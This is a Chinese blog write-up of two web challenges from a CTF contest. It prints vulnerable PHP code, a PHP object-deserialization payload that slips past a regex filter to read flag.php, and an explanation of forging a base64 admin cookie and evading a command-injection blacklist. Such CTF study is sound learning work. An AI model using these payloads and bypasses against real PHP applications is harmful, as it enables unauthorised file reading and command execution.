安恒12月赛Web题解

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/u011377996/article/details/85203045

吐槽一下

这次的web题目感觉完全是新手题,思路很直接,我就不掺和了,做完web就逃23333,继续完成密码学课程实验报告去了。。。但还是记录一下。

easy

这个题目考的是一个php反序列化的一个绕过,上来就给了一段代码,很简单

 <?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    public $file;
    function __toString()      
    {          
        if(isset($this->file)) 
        {
            $filename = "./{$this->file}";        
            if (file_get_contents($filename))         
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
}  
if (isset($_GET['data']))  
{ 
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }     
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?> 

关键是绕过这一句,本意是为了防止对象被反序列化,可以参考一下这篇文章:https://blog.spoock.com/2016/11/03/php-wakeup/

preg_match('/[oc]:\d+:/i',$data,$matches);

所以只需要只需要在对象长度前添加一个+号,即o:14->o:+14,这样就可以绕过正则匹配。最后的payload:

O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}

url编码后发包就可以获得flag

FySZ1H.png

ezweb2

这个题目上来发现没什么线索,只能扫一下目录,发现了一个admin.php,但是进去却回显You are not admin...,这样思路就很明确了,我们需要伪造admin的身份,查一下cookie,果然需要伪造一下,把cookie的值从user->admin就好,还需base64一下

FySHvd.png

然后就可以进入一个命令执行的页面,输入ls发现有回显,但是很多东西都被过滤了

FySObt.png

Fyphss.png

可以尝试一下读文件,在config.php发现黑名单

admin.php

<?php
include 'config.php';
if (!isset($_SESSION['admin'])||$_SESSION['admin']===false) {
	die("You are not admin...");
}
if (@$_POST['cmd']) {
	$cmd = waf_exec($_POST['cmd']);
	$retval = array();
	exec($cmd, $retval, $status);
	// var_dump($retval);
	if ($status == 0) {
		$res = implode("\n",$retval);
	}else{
		$res = 'error';
	}
}else{
	$res = '';
}

include './templates/admin.html';

config.php

<?php
session_start();

function waf_exec($str){
	$black_str = "/(;|&|>|}|{|%|#|!|\?|@|\+| )/i";
		$str = preg_replace($black_str, "",$str);
		return $str;
	}

关键是如何绕过这个黑名单去读到flag,这里已经把很多东西都过滤了,但是$以及/都没被过滤,可以很好地执行命令

FypvLR.png

成功读取flag

Fypze1.png

猜你喜欢

转载自blog.csdn.net/u011377996/article/details/85203045